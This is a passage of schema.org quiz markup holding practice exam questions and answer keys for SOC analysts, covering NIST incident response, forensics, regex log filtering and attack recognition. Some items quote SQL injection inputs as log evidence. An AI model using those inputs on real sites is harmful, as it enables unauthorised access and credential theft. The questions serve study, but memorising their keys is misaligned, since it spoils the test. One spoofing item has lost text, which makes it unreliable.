messages"}]},{"@context":"https://schema.org","@type":"Question","text":"During a review of NIST SP 800-61 concepts, an analyst is categorizing signs of incidents. Their SIEM logs a vulnerability scanner sweeping the organization's external IP range from an unknown source. According to NIST SP 800-61, how should this observation be classified?","acceptedAnswer":{"@type":"Answer","text":"A precursor, because it is a sign that an incident may occur in the future"},"suggestedAnswer":[{"@type":"Answer","text":"An indicator, because it confirms an incident is currently in progress"},{"@type":"Answer","text":"A containment action, because scanning must be blocked immediately"},{"@type":"Answer","text":"A lesson learned, because it should be documented after the incident closes"}]},{"@context":"https://schema.org","@type":"Question","text":"A CyberOps analyst is helping draft the organization's incident response capability. The team lead emphasizes that before any tools are purchased or procedures written, senior leadership must formally approve funding, define the CSIRT's authority, and endorse the IR policy. In terms of NIST SP 800-61 management concepts, why is securing this executive commitment considered foundational to an effective incident response program?","acceptedAnswer":{"@type":"Answer","text":"Management support and buy-in establish the authority, resources, and policy mandate that enable the IR team to operate across the organization"},"suggestedAnswer":[{"@type":"Answer","text":"Management approval is required only to complete the lessons-learned report after an incident closes"},{"@type":"Answer","text":"Executive commitment primarily determines which CVSS base score threshold triggers containment"},{"@type":"Answer","text":"Leadership endorsement is only needed to authorize the forensic imaging of volatile memory during collection"}]},{"@context":"https://schema.org","@type":"Question","text":"After successfully recovering from a major breach, an incident response team lead is finalizing documentation. During the wrap-up meeting, a junior analyst asks how long the collected logs, disk images, and captured network traffic must be kept. According to NIST SP 800-61, which element of the incident response plan most directly governs this decision?","acceptedAnswer":{"@type":"Answer","text":"The evidence retention policy defined during the preparation phase"},"suggestedAnswer":[{"@type":"Answer","text":"The chain of custody form completed during collection"},{"@type":"Answer","text":"The order of volatility described in NIST SP 800-86"},{"@type":"Answer","text":"The severity classification assigned during the detection and analysis phase"}]},{"@context":"https://schema.org","@type":"Question","text":"During an incident response investigation, forensic analysis confirms that an internal employee intentionally exfiltrated customer records to a personal cloud account. The incident response coordinator needs to involve the appropriate stakeholder to handle disciplinary action against the employee in accordance with company policy. According to NIST SP 800-61, which stakeholder should the coordinator engage for this task?","acceptedAnswer":{"@type":"Answer","text":"Human Resources"},"suggestedAnswer":[{"@type":"Answer","text":"Public Affairs / Media Relations"},{"@type":"Answer","text":"IT Support / Help Desk"},{"@type":"Answer","text":"Physical Security"}]},{"@context":"https://schema.org","@type":"Question","text":"During a data breach investigation, an organization following NIST SP 800-61 must decide whether disclosure is required under contractual and regulatory obligations, and must review potential liability before the incident is publicly reported. Which stakeholder role should the incident response team primarily engage for this determination?","acceptedAnswer":{"@type":"Answer","text":"Legal counsel"},"suggestedAnswer":[{"@type":"Answer","text":"The SOC tier-1 analyst who triaged the alert"},{"@type":"Answer","text":"The network engineering team"},{"@type":"Answer","text":"The public relations media contact"}]},{"@context":"https://schema.org","@type":"Question","text":"During a confirmed ransomware incident at a hospital, the incident response coordinator is assembling the response team per NIST SP 800-61. A local news outlet has begun contacting the organization, and executives want to ensure that any external messaging about the breach is accurate, consistent, and does not compromise the ongoing investigation. Which stakeholder or team should be assigned responsibility for managing communications with the news outlet and the public?","acceptedAnswer":{"@type":"Answer","text":"Public affairs / media relations"},"suggestedAnswer":[{"@type":"Answer","text":"Legal counsel"},{"@type":"Answer","text":"Human resources"},{"@type":"Answer","text":"IT support / help desk"}]},{"@context":"https://schema.org","@type":"Question","text":"A forensic analyst responding to a live compromised Linux server must collect evidence following NIST SP 800-86 guidance. The system is still powered on and connected to the network. According to the order of volatility, which data source should the analyst prioritize collecting FIRST?","acceptedAnswer":{"@type":"Answer","text":"The contents of the system's RAM and the running process/network connection state"},"suggestedAnswer":[{"@type":"Answer","text":"Log files stored on the local hard disk"},{"@type":"Answer","text":"Data archived to the organization's offsite backup tapes"},{"@type":"Answer","text":"Configuration files stored in the /etc directory on disk"}]},{"@context":"https://schema.org","@type":"Question","text":"A CyberOps analyst is establishing a digital forensics workflow based on NIST SP 800-86. After legally acquiring a suspect's hard drive image, the analyst needs to identify and extract relevant items such as file timestamps and application data before drawing conclusions for the incident report. According to the four-phase forensic process in NIST SP 800-86, which phase is the analyst performing when identifying and extracting these relevant items from the acquired data?","acceptedAnswer":{"@type":"Answer","text":"Examination"},"suggestedAnswer":[{"@type":"Answer","text":"Collection"},{"@type":"Answer","text":"Analysis"},{"@type":"Answer","text":"Reporting"}]},{"@context":"https://schema.org","@type":"Question","text":"A mid-size company is building its digital forensics capability. Following NIST SP 800-86 guidance, the security manager wants to ensure that when an incident occurs, analysts can immediately collect and preserve evidence without delay. Which action BEST reflects the NIST SP 800-86 recommendation for organizational readiness?","acceptedAnswer":{"@type":"Answer","text":"Establish forensic policies, train staff, and prepare a validated toolkit of hardware and software before any incident occurs"},"suggestedAnswer":[{"@type":"Answer","text":"Wait until an incident is confirmed, then purchase and validate forensic tools appropriate to that specific event"},{"@type":"Answer","text":"Rely solely on law enforcement to provide forensic tooling and expertise during any investigation"},{"@type":"Answer","text":"Focus exclusively on collecting the most volatile data and skip documentation until analysis is complete"}]},{"@context":"https://schema.org","@type":"Question","text":"An analyst confirms that several workstations are infected with a worm that is actively spreading across the internal network. Following NIST SP 800-61, the incident response team first disconnects the affected VLAN to stop the spread, then removes the malware and patches the exploited vulnerability, and finally restores the systems from clean backups and monitors them before returning them to production. Which NIST incident handling phase encompasses ALL of the actions the team performed in this sequence?","acceptedAnswer":{"@type":"Answer","text":"Containment, Eradication, and Recovery"},"suggestedAnswer":[{"@type":"Answer","text":"Detection and Analysis"},{"@type":"Answer","text":"Preparation"},{"@type":"Answer","text":"Post-Incident Activity"}]},{"@context":"https://schema.org","@type":"Question","text":"A SOC analyst receives an automated alert from the SIEM indicating unusual authentication activity. The analyst reviews correlated logs, confirms the activity is malicious rather than a false positive, documents the affected systems, and assigns a severity rating before notifying the incident response lead. According to the NIST SP 800-61 incident response lifecycle, which phase do these analyst actions primarily belong to?","acceptedAnswer":{"@type":"Answer","text":"Detection and Analysis"},"suggestedAnswer":[{"@type":"Answer","text":"Preparation"},{"@type":"Answer","text":"Containment, Eradication, and Recovery"},{"@type":"Answer","text":"Post-Incident Activity"}]},{"@context":"https://schema.org","@type":"Question","text":"Following a ransomware outbreak, an incident response team has removed the malware, rebuilt affected systems, and confirmed normal operations have resumed. The team now holds a meeting to document what happened, evaluate how well their procedures worked, and identify improvements to detection tooling and staff training. According to the NIST SP 800-61 incident response lifecycle, which phase does this meeting represent?","acceptedAnswer":{"@type":"Answer","text":"Post-Incident Activity"},"suggestedAnswer":[{"@type":"Answer","text":"Detection and Analysis"},{"@type":"Answer","text":"Containment, Eradication, and Recovery"},{"@type":"Answer","text":"Preparation"}]},{"@context":"https://schema.org","@type":"Question","text":"A newly hired CyberOps analyst is reviewing the organization's incident response program, which is modeled on NIST SP 800-61. She notices that before any incident occurs, the team has already deployed a centralized log aggregation platform, created jump bags with forensic tools, established out-of-band communication channels, and trained staff on their roles. Which phase of the NIST incident response life cycle do these activities belong to?","acceptedAnswer":{"@type":"Answer","text":"Preparation"},"suggestedAnswer":[{"@type":"Answer","text":"Detection and Analysis"},{"@type":"Answer","text":"Containment, Eradication, and Recovery"},{"@type":"Answer","text":"Post-Incident Activity"}]},{"@context":"https://schema.org","@type":"Question","text":"A network engineer reviews two firewall designs. Firewall A evaluates each packet independently against a static ruleset and has no memory of prior packets. Firewall B tracks the state of active connections in a connection table and automatically permits return traffic that belongs to an established session. During analysis of an outbound TCP session initiated by an internal host, which statement correctly describes how each firewall handles the inbound reply packets?","acceptedAnswer":{"@type":"Answer","text":"Firewall A requires an explicit inbound rule to permit the reply packets, while Firewall B permits them automatically based on the tracked connection state"},"suggestedAnswer":[{"@type":"Answer","text":"Both firewalls automatically permit the reply packets because the outbound session was allowed"},{"@type":"Answer","text":"Firewall B requires an explicit inbound rule because stateful firewalls do not track outbound sessions, while Firewall A permits replies automatically"},{"@type":"Answer","text":"Both firewalls inspect the Layer 7 application payload of the reply packets to decide whether to permit them"}]},{"@context":"https://schema.org","@type":"Question","text":"A finance department employee receives a phone call from someone claiming to be the company's IT help desk. The caller states that a security patch failed on the employee's workstation and urgently requests the employee's network credentials to 're-apply the update before the account is locked out.' No such patch activity is recorded in the IT ticketing system, and the caller's number is spoofed to resemble an internal extension. Which type of attack is being attempted?","acceptedAnswer":{"@type":"Answer","text":"Social engineering using a pretexting technique"},"suggestedAnswer":[{"@type":"Answer","text":"Man-in-the-middle attack intercepting authentication traffic"},{"@type":"Answer","text":"Command and control (C2) beaconing from a compromised host"},{"@type":"Answer","text":"Denial-of-service attack targeting the help desk phone line"}]},{"@context":"https://schema.org","@type":"Question","text":"A SOC is evaluating endpoint protection platforms. During testing, a brand-new malware variant with no prior hash record and no matching vendor signature is executed on a monitored host. The EPP flags the process as malicious because its runtime behavior—rapid file enumeration followed by mass encryption calls—statistically matches patterns learned from thousands of previous ransomware samples. Which detection capability of the endpoint technology is responsible for this catch?","acceptedAnswer":{"@type":"Answer","text":"Predictive AI/machine-learning behavioral modeling"},"suggestedAnswer":[{"@type":"Answer","text":"Signature-based detection matching a known malware hash"},{"@type":"Answer","text":"Rule-based detection matching an explicit static indicator"},{"@type":"Answer","text":"Allow-list enforcement blocking unapproved binaries"}]},{"@context":"https://schema.org","@type":"Question","text":"During a data classification review, a SOC analyst is cataloging the types of protected data traversing the corporate network. The engineering team stores proprietary source code, patented product design schematics, and internal research documents on a shared server. Which category of protected data best describes these assets?","acceptedAnswer":{"@type":"Answer","text":"Intellectual Property (IP)"},"suggestedAnswer":[{"@type":"Answer","text":"Personally Identifiable Information (PII)"},{"@type":"Answer","text":"Protected Health Information (PHI)"},{"@type":"Answer","text":"Payment Card Industry (PCI) data"}]},{"@context":"https://schema.org","@type":"Question","text":"A SOC analyst at a hospital is reviewing an exfiltration alert. The captured data set contains patient names paired with their diagnosis codes, prescribed medications, and treatment dates. Under data protection classifications, which category best describes this specific data?","acceptedAnswer":{"@type":"Answer","text":"PHI (Protected Health Information)"},"suggestedAnswer":[{"@type":"Answer","text":"PCI (Payment Card Industry data)"},{"@type":"Answer","text":"IP (Intellectual Property)"},{"@type":"Answer","text":"PII (Personally Identifiable Information)"}]},{"@context":"https://schema.org","@type":"Question","text":"During a data-classification review, a CyberOps analyst captures a database export traversing the internal network. The record set contains employee full names paired with Social Security numbers, home addresses, and dates of birth. According to standard data-protection categories, how should this data be classified?","acceptedAnswer":{"@type":"Answer","text":"Personally Identifiable Information (PII)"},"suggestedAnswer":[{"@type":"Answer","text":"Protected Health Information (PHI)"},{"@type":"Answer","text":"Payment Card Industry (PCI) data"},{"@type":"Answer","text":"Intellectual Property (IP)"}]},{"@context":"https://schema.org","@type":"Question","text":"A SOC analyst reviews NetFlow data and observes thousands of inbound TCP packets to a web server, all with only the SYN flag set and spoofed source addresses. The server's connection table is filling up, and legitimate users report the site is unreachable. No SYN-ACK responses are being completed with an ACK. Which type of attack best describes this activity?","acceptedAnswer":{"@type":"Answer","text":"SYN flood denial-of-service attack that exhausts the server's half-open connection resources"},"suggestedAnswer":[{"@type":"Answer","text":"Man-in-the-middle attack intercepting the TCP handshake between clients and the server"},{"@type":"Answer","text":"SQL injection attack targeting the web application's backend database"},{"@type":"Answer","text":"DNS tunneling used to exfiltrate data over an established covert channel"}]},{"@context":"https://schema.org","@type":"Question","text":"During an investigation, a SOC analyst notices that all of the malicious HTTP requests targeting the company web application appear to originate from a small set of well-known anonymizing service IP addresses rather than from a single consistent host. The attacker's true origin cannot be determined from the web server logs. Which evasion technique is the attacker most likely using?","acceptedAnswer":{"@type":"Answer","text":"Routing traffic through proxy servers to obscure the source IP"},"suggestedAnswer":[{"@type":"Answer","text":"Encrypting the payload with TLS to hide request contents"},{"@type":"Answer","text":"Using DNS tunneling to exfiltrate command output"},{"@type":"Answer","text":"Performing a SYN flood to exhaust server connections"}]},{"@context":"https://schema.org","@type":"Question","text":"A SOC analyst reviews an endpoint alert showing a user process rapidly reading, encrypting, and rewriting thousands of files across mapped network drives, followed by the creation of a text file named 'RECOVER_YOUR_FILES.txt' in every affected directory. The Volume Shadow Copy service was also stopped just before the encryption began. Which type of endpoint-based attack does this behavior most clearly indicate?","acceptedAnswer":{"@type":"Answer","text":"Ransomware"},"suggestedAnswer":[{"@type":"Answer","text":"Buffer overflow"},{"@type":"Answer","text":"SQL injection"},{"@type":"Answer","text":"Man-in-the-middle"}]},{"@context":"https://schema.org","@type":"Question","text":"A SOC analyst is building a detection filter to flag proxy log entries where users downloaded potentially malicious executable or script files. The analyst writes the regular expression: \\.(exe|dll|ps1|bat)$ to match against the requested URL path. Which of the following filenames would this regex match?","acceptedAnswer":{"@type":"Answer","text":"update.exe"},"suggestedAnswer":[{"@type":"Answer","text":"invoice.pdf"},{"@type":"Answer","text":"exec_report.txt"},{"@type":"Answer","text":"script.ps1.zip"}]},{"@context":"https://schema.org","@type":"Question","text":"A SOC analyst wants to filter proxy logs to isolate entries where a URL query string contains a hexadecimal value of exactly 32 characters (a possible MD5 hash used as a tracking or exfiltration token). Which regular expression will match ONLY a standalone 32-character hex string and reject strings that are longer or shorter?","acceptedAnswer":{"@type":"Answer","text":"\\b[a-fA-F0-9]{32}\\b"},"suggestedAnswer":[{"@type":"Answer","text":"[a-fA-F0-9]{32,}"},{"@type":"Answer","text":"[a-fA-F0-9]*32"},{"@type":"Answer","text":".{32}"}]},{"@context":"https://schema.org","@type":"Question","text":"An analyst is filtering web server logs to find requests where the URI path ends with a status code between 500 and 599 (server errors). They write the following grep expression against lines that end with the status code: grep -E ' 5[0-9]{2}$' access.log. Which set of trailing status codes will this regular expression match?","acceptedAnswer":{"@type":"Answer","text":"Only three-digit codes beginning with 5, such as 500, 503, and 599, appearing at the end of the line"},"suggestedAnswer":[{"@type":"Answer","text":"Any status code containing the digit 5 anywhere, such as 250, 405, and 500"},{"@type":"Answer","text":"Only the literal values 5, 0, and 9 anywhere in the line"},{"@type":"Answer","text":"Any four-digit code starting with 5, such as 5000 and 5999, at the end of the line"}]},{"@context":"https://schema.org","@type":"Question","text":"An analyst is filtering firewall logs and needs to match log lines where the same word is repeated consecutively (e.g., a duplicated hostname token like 'login login'). Which regular expression correctly uses grouping and a backreference to accomplish this?","acceptedAnswer":{"@type":"Answer","text":"\\b(\\w+)\\s+\\1\\b"},"suggestedAnswer":[{"@type":"Answer","text":"\\b(\\w+)\\s+\\w+\\b"},{"@type":"Answer","text":"\\b[\\w+]\\s+[\\w+]\\b"},{"@type":"Answer","text":"\\b(\\w+){2}\\b"}]},{"@context":"https://schema.org","@type":"Question","text":"An analyst is building a grep filter to extract lines from a web server log that contain a valid dotted-decimal IPv4 address. They test the pattern below against several sample strings:\n\n^([0-9]{1,3}\\.){3}[0-9]{1,3}$\n\nWhich of the following sample strings will this regular expression MATCH?","acceptedAnswer":{"@type":"Answer","text":"192.168.10.5"},"suggestedAnswer":[{"@type":"Answer","text":"10.0.0"},{"@type":"Answer","text":"user 172.16.4.9 login"},{"@type":"Answer","text":"2001:db8::1"}]},{"@context":"https://schema.org","@type":"Question","text":"An analyst is building a regex to search proxy logs for requests to a malicious domain that appears as both 'http://evil.com' and 'https://evil.com'. They write the pattern: https?://evil\\.com. Which statement correctly describes how the '?' quantifier affects this match?","acceptedAnswer":{"@type":"Answer","text":"It makes the preceding character 's' optional, so the pattern matches both 'http://evil.com' and 'https://evil.com'."},"suggestedAnswer":[{"@type":"Answer","text":"It matches any single character in place of 's', so 'httpX://evil.com' would also match."},{"@type":"Answer","text":"It requires one or more occurrences of 's', so only 'https://evil.com' matches."},{"@type":"Answer","text":"It anchors the match to the start of the line, so only URLs at the beginning of a log entry match."}]},{"@context":"https://schema.org","@type":"Question","text":"During a security review, an analyst documents the following finding: the company's public web server runs an outdated library with a publicly known flaw, attackers on hacking forums are actively sharing code that abuses this flaw, and the server hosts sensitive customer data. In this finding, which item represents the VULNERABILITY?","acceptedAnswer":{"@type":"Answer","text":"The outdated library flaw present in the web server software"},"suggestedAnswer":[{"@type":"Answer","text":"The attackers on hacking forums who intend to compromise the server"},{"@type":"Answer","text":"The publicly shared code that abuses the flaw"},{"@type":"Answer","text":"The potential loss of sensitive customer data"}]},{"@context":"https://schema.org","@type":"Question","text":"A hospital IT team is redesigning permissions for a new electronic health records system. They want nurses, billing clerks, and physicians to each receive a standardized set of permissions automatically when hired, based purely on their assigned job function rather than individual assignment or data classification labels. Which access control model best fits this requirement?","acceptedAnswer":{"@type":"Answer","text":"Role-Based Access Control (RBAC)"},"suggestedAnswer":[{"@type":"Answer","text":"Discretionary Access Control (DAC)"},{"@type":"Answer","text":"Mandatory Access Control (MAC)"},{"@type":"Answer","text":"Rule-Based Access Control based on time-of-day filters"}]},{"@context":"https://schema.org","@type":"Question","text":"During analysis of a suspicious executable, an analyst uploads the file to a detonation chamber. The sandbox report's static analysis section shows a benign import table and no known signature match, but the dynamic analysis section records the process spawning cmd.exe, writing to the Startup folder, and initiating an outbound TCP connection to a rare foreign IP. Which conclusion is best supported by this sandbox output?","acceptedAnswer":{"@type":"Answer","text":"The file is malicious based on observed runtime behavior even though static indicators were clean"},"suggestedAnswer":[{"@type":"Answer","text":"The file is benign because static analysis found no matching signature or suspicious imports"},{"@type":"Answer","text":"The sandbox produced a false positive because the two analysis sections disagree"},{"@type":"Answer","text":"The file must be re-scanned with a signature-based antivirus to reach any verdict"}]},{"@context":"https://schema.org","@type":"Question","text":"During a malware investigation, an analyst submits a suspicious executable to an automated sandbox. The generated report shows the sample dropped a DLL into C:\\Users\\Public, spawned cmd.exe to disable Windows Defender, and modified file timestamps to match legitimate system files. Which behavior in this report specifically indicates the malware attempted anti-forensic activity?","acceptedAnswer":{"@type":"Answer","text":"Modifying file timestamps to match legitimate system files"},"suggestedAnswer":[{"@type":"Answer","text":"Dropping a DLL into C:\\Users\\Public"},{"@type":"Answer","text":"Spawning cmd.exe to disable Windows Defender"},{"@type":"Answer","text":"The executable being submitted to the sandbox for detonation"}]},{"@context":"https://schema.org","@type":"Question","text":"An analyst submits a suspicious executable to a malware detonation chamber. Reviewing the report, they want to determine whether this exact sample has been seen before by threat intelligence feeds without executing it again. Which section of the sandbox output report should the analyst reference?","acceptedAnswer":{"@type":"Answer","text":"The static analysis section listing the file's MD5, SHA-1, and SHA-256 hash values"},"suggestedAnswer":[{"@type":"Answer","text":"The dynamic analysis section listing runtime API calls and mutex creation"},{"@type":"Answer","text":"The network activity section listing DNS queries and outbound connections"},{"@type":"Answer","text":"The screenshot section capturing GUI dialogs shown during detonation"}]},{"@context":"https://schema.org","@type":"Question","text":"An analyst detonates a suspicious executable in a sandbox. The output report shows the following observed behaviors: a child process spawned, a file written to %APPDATA%, and an outbound DNS query to 'update-svc.badhost[.]net' followed by an HTTPS connection to 175.120.44.9 on port 443. Based on this section of the report, which type of indicator is MOST directly identified by the DNS query and HTTPS connection?","acceptedAnswer":{"@type":"Answer","text":"A network-based indicator of compromise showing likely command-and-control communication"},"suggestedAnswer":[{"@type":"Answer","text":"A host-based persistence mechanism established in the registry"},{"@type":"Answer","text":"A privilege escalation attempt using a stolen access token"},{"@type":"Answer","text":"A file integrity violation confirmed by a mismatched disk image hash"}]},{"@context":"https://schema.org","@type":"Question","text":"An analyst detonates a suspicious executable in a sandbox. The output report shows the following activity: the file wrote a copy of itself to %APPDATA%, created a value under HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run pointing to that copy, spawned a child process, and made an outbound DNS query to a newly registered domain. Which behavior in the report indicates the malware is attempting to establish persistence on the host?","acceptedAnswer":{"@type":"Answer","text":"The value created under the CurrentVersion\\Run registry key"},"suggestedAnswer":[{"@type":"Answer","text":"The outbound DNS query to a newly registered domain"},{"@type":"Answer","text":"The spawning of a child process"},{"@type":"Answer","text":"The copy of the file written to %APPDATA%"}]},{"@context":"https://schema.org","@type":"Question","text":"A security analyst is building a server profile for a company's internal application server so that future deviations can be detected. The analyst has already documented the server's listening ports and its normal user accounts. According to server profiling practices, which additional element should the analyst document to identify unauthorized or anomalous programs that may later run on the host?","acceptedAnswer":{"@type":"Answer","text":"The set of critical processes that normally run on the server"},"suggestedAnswer":[{"@type":"Answer","text":"The total throughput observed at the network edge"},{"@type":"Answer","text":"The routing table of the upstream core switch"},{"@type":"Answer","text":"The DHCP lease duration assigned to client workstations"}]},{"@context":"https://schema.org","@type":"Question","text":"A security analyst is building a profile for a production web server so that future deviations can be flagged as suspicious. Per NIST server profiling guidance, the analyst records the operating system version, the accounts that run services, and the set of TCP/UDP ports the server accepts connections on. Which server profiling element is represented by the recorded set of TCP/UDP ports the server accepts connections on?","acceptedAnswer":{"@type":"Answer","text":"Listening ports"},"suggestedAnswer":[{"@type":"Answer","text":"Total throughput"},{"@type":"Answer","text":"Session duration"},{"@type":"Answer","text":"Used address space"}]},{"@context":"https://schema.org","@type":"Question","text":"A security analyst is building a server profile for a newly deployed application server so that future deviations can be detected. The analyst has already documented the server's listening ports and its set of critical running processes. To complete a thorough server profile per common profiling guidance, which additional element should the analyst document?","acceptedAnswer":{"@type":"Answer","text":"The service accounts and user accounts that normally interact with the server"},"suggestedAnswer":[{"@type":"Answer","text":"The total throughput baseline observed across the network segment"},{"@type":"Answer","text":"The address space of all subnets used across the enterprise"},{"@type":"Answer","text":"The typical session duration of user connections traversing the perimeter firewall"}]},{"@context":"https://schema.org","@type":"Question","text":"A SOC analyst needs long-term retention of who talked to whom across the enterprise network to support retrospective investigations, but the storage budget cannot accommodate retaining every byte of every conversation. The team wants a data type that summarizes connections (source/destination IPs, ports, protocol, bytes, and duration) without capturing payload. Which data type best meets this requirement?","acceptedAnswer":{"@type":"Answer","text":"Session data (flow records such as NetFlow/IPFIX)"},"suggestedAnswer":[{"@type":"Answer","text":"Full packet capture (PCAP) stored on a dedicated capture appliance"},{"@type":"Answer","text":"Transaction data extracted from application-layer proxy logs"},{"@type":"Answer","text":"Statistical data derived from long-term traffic baselining"}]},{"@context":"https://schema.org","@type":"Question","text":"A SOC analyst reviews traffic captures from a corporate wireless network. A client attempted to reach an internal HTTPS portal, but the packet capture shows the connection was negotiated down to an unencrypted HTTP session by an intermediate device that also relayed the traffic to the real server. Users noticed nothing unusual, and the attacker's system logged the plaintext credentials. Which type of network attack does this MOST clearly describe?","acceptedAnswer":{"@type":"Answer","text":"Man-in-the-middle attack using an SSL/TLS downgrade"},"suggestedAnswer":[{"@type":"Answer","text":"TCP SYN flood denial-of-service attack"},{"@type":"Answer","text":"SQL injection against the web portal"},{"@type":"Answer","text":"Distributed denial-of-service amplification attack"}]},{"@context":"https://schema.org","@type":"Question","text":"A security analyst is evaluating the endpoint protection deployed across the organization. The current solution relies exclusively on a database of known malicious file hashes and byte patterns that must be updated daily. During a recent incident, a newly compiled variant of a known malware family bypassed the endpoint tool entirely, even though the family had been documented for months. Which characteristic of this detection technology best explains why the variant went undetected?","acceptedAnswer":{"@type":"Answer","text":"Signature-based detection can only identify threats that match a previously defined pattern, so a recompiled variant with a different hash evades it until a new signature is written"},"suggestedAnswer":[{"@type":"Answer","text":"The tool uses behavioral analytics that ignore file hashes, so it failed to flag the process activity"},{"@type":"Answer","text":"Predictive AI models require labeled training data and cannot detect variants of known families"},{"@type":"Answer","text":"Sandbox detonation was disabled, so the file was allowed to execute without dynamic analysis"}]},{"@context":"https://schema.org","@type":"Question","text":"While reviewing a PCAP of an SMTP session in Wireshark, an analyst follows the TCP stream and sees the server response '250 OK' after the client issues 'MAIL FROM:' and 'RCPT TO:'. The DATA section contains a 'From:' header of 'PayPal Billing '. Which observation is the MOST relevant intrusion analysis finding?","acceptedAnswer":{"@type":"Answer","text":"The SMTP envelope sender (MAIL FROM) domain 'paypa1-secure.com' does not match the display From header 'paypal.com', indicating email spoofing"},"suggestedAnswer":[{"@type":"Answer","text":"The '250 OK' server response confirms the message was rejected as spam by the receiving server"},{"@type":"Answer","text":"The RCPT TO command reveals that the message used TLS encryption to hide its recipient"},{"@type":"Answer","text":"The presence of a DATA section proves the message contained a malicious file attachment"}]},{"@context":"https://schema.org","@type":"Question","text":"A network analyst reviewing traffic captures notices a large volume of ICMP echo replies flooding a single internal server. Investigation shows the ICMP echo requests were sent to the network's broadcast address with the victim server's IP spoofed as the source. Which type of attack does this pattern indicate?","acceptedAnswer":{"@type":"Answer","text":"An amplification-based denial-of-service attack that abuses directed broadcast to multiply traffic toward the spoofed victim"},"suggestedAnswer":[{"@type":"Answer","text":"A man-in-the-middle attack that intercepts ICMP traffic between two hosts"},{"@type":"Answer","text":"A TCP SYN flood that exhausts the server's half-open connection table"},{"@type":"Answer","text":"A cross-site scripting attack delivered through crafted ICMP payloads"}]},{"@context":"https://schema.org","@type":"Question","text":"A SOC analyst reviewing web server logs for an internal application notices the following request against the login page: POST /login HTTP/1.1 with the parameter username=admin'--&password=x. Shortly after, the account 'admin' shows a successful authentication from the same source IP without a valid password. Which type of attack does this evidence most clearly indicate?","acceptedAnswer":{"@type":"Answer","text":"SQL injection used to bypass authentication"},"suggestedAnswer":[{"@type":"Answer","text":"Reflected cross-site scripting (XSS)"},{"@type":"Answer","text":"OS command injection"},{"@type":"Answer","text":"Man-in-the-middle session hijacking"}]},{"@context":"https://schema.org","@type":"Question","text":"A web application security analyst is reviewing access logs for an e-commerce site and finds the following request: GET /products.php?id=5+UNION+SELECT+username,password,email+FROM+users-- HTTP/1.1 (200 response, 4KB larger than typical product pages). What type of attack does this most likely represent, and what is the attacker's goal?","acceptedAnswer":{"@type":"Answer","text":"A SQL injection attack using a UNION query to extract credential data from a different database table"},"suggestedAnswer":[{"@type":"Answer","text":"A cross-site scripting attack injecting a script to steal user session cookies"},{"@type":"Answer","text":"A command injection attack executing operating system commands on the web server"},{"@type":"Answer","text":"A directory traversal attack attempting to read files outside the web root"}]},{"@context":"https://schema.org","@type":"Question","text":"A SOC analyst at a manufacturing firm receives an alert generated by a monitoring platform that has learned the normal behavior of each host over 30 days. The alert fires because one workstation, which typically sends 50 MB per day, transmitted 4 GB of outbound traffic overnight — a deviation from its established baseline rather than a match against any known signature. Which type of security monitoring data triggered this alert?","acceptedAnswer":{"@type":"Answer","text":"Statistical (anomaly-based) data"},"suggestedAnswer":[{"@type":"Answer","text":"Signature-based alert data"},{"@type":"Answer","text":"Full packet capture data"},{"@type":"Answer","text":"Transaction log data"}]},{"@context":"https://schema.org","@type":"Question","text":"During a TLS 1.2 session review, a SOC analyst notes that after the initial handshake, the client and server exchange large volumes of encrypted application data efficiently using a shared session key. The analyst is asked which cryptographic approach protects the bulk data transfer once the session is established, and why it was chosen over the method used during the handshake. What is the correct answer?","acceptedAnswer":{"@type":"Answer","text":"Symmetric encryption is used for the bulk data because it is far faster and less computationally expensive than asymmetric encryption for large transfers."},"suggestedAnswer":[{"@type":"Answer","text":"Asymmetric encryption is used for the bulk data because it uniquely encrypts every packet with the server's private key."},{"@type":"Answer","text":"Hashing is used for the bulk data because it provides confidentiality by making the plaintext unrecoverable."},{"@type":"Answer","text":"Symmetric encryption is used for the bulk data because it requires the public key to be transmitted with each message for verification."}]},{"@context":"https://schema.org","@type":"Question","text":"During a forensic investigation, an analyst receives a suspect's disk image along with the acquisition documentation. The original acquisition log records a SHA-256 hash of the image taken at collection time. When the analyst recomputes the SHA-256 hash of the received image, the value differs from the one in the acquisition log. Additionally, the analyst notices several files whose modified timestamps postdate the recorded acquisition time. What conclusion best describes the state of this disk image?","acceptedAnswer":{"@type":"Answer","text":"The image has been tampered with and can no longer be trusted as an unaltered forensic copy"},"suggestedAnswer":[{"@type":"Answer","text":"The image is untampered because timestamp changes are expected during normal imaging"},{"@type":"Answer","text":"The hash difference is caused by the write blocker and does not indicate tampering"},{"@type":"Answer","text":"The image is valid as long as the file sizes match the original system"}]},{"@context":"https://schema.org","@type":"Question","text":"A network engineer needs to add a new monitoring sensor to inspect traffic on a critical production link. Management requires that any failure of the monitoring device must NOT interrupt production traffic flow, and the sensor only needs to observe traffic, not block it. Which deployment method best satisfies these requirements?","acceptedAnswer":{"@type":"Answer","text":"Deploy a passive network tap that copies traffic to the sensor out-of-band"},"suggestedAnswer":[{"@type":"Answer","text":"Deploy the sensor inline so all traffic passes through it before reaching the destination"},{"@type":"Answer","text":"Configure the sensor as a stateful firewall in the traffic path"},{"@type":"Answer","text":"Route production traffic through the sensor and enable fail-closed mode"}]},{"@context":"https://schema.org","@type":"Question","text":"While analyzing a PCAP in Wireshark, an analyst notices a series of TCP packets sent to hundreds of different destination ports on a single host. Each packet shows a window size of 1024 but has no TCP flags set at all (the Flags field reads 0x000). What is the MOST likely activity represented by these packets?","acceptedAnswer":{"@type":"Answer","text":"A TCP NULL scan being used for reconnaissance and port discovery"},"suggestedAnswer":[{"@type":"Answer","text":"A normal TCP three-way handshake establishing multiple sessions"},{"@type":"Answer","text":"A TCP SYN flood denial-of-service attack against the host"},{"@type":"Answer","text":"Retransmission of dropped ACK segments due to network congestion"}]},{"@context":"https://schema.org","@type":"Question","text":"While analyzing a PCAP in Wireshark during an incident, an analyst notices that a server suddenly begins sending a stream of TCP ACK segments where the Window Size field is set to 0, while the sequence and acknowledgment numbers continue to advance normally without errors. Based on interpreting these protocol header fields, what is the most accurate conclusion?","acceptedAnswer":{"@type":"Answer","text":"The server is advertising a zero receive window, signaling the sender to pause transmission because its receive buffer is full"},"suggestedAnswer":[{"@type":"Answer","text":"The server is performing a TCP RST attack to forcibly terminate the connection"},{"@type":"Answer","text":"The packets indicate a SYN flood because the window field is used to track half-open connections"},{"@type":"Answer","text":"The zero window value proves the payload is encrypted and cannot be inspected further"}]},{"@context":"https://schema.org","@type":"Question","text":"While analyzing a suspicious TCP session in Wireshark, an analyst notices that a single sender is transmitting multiple segments that all carry the identical sequence number 1001 with the same payload length, spaced a few hundred milliseconds apart, while no corresponding ACKs are seen from the receiver. What does this pattern 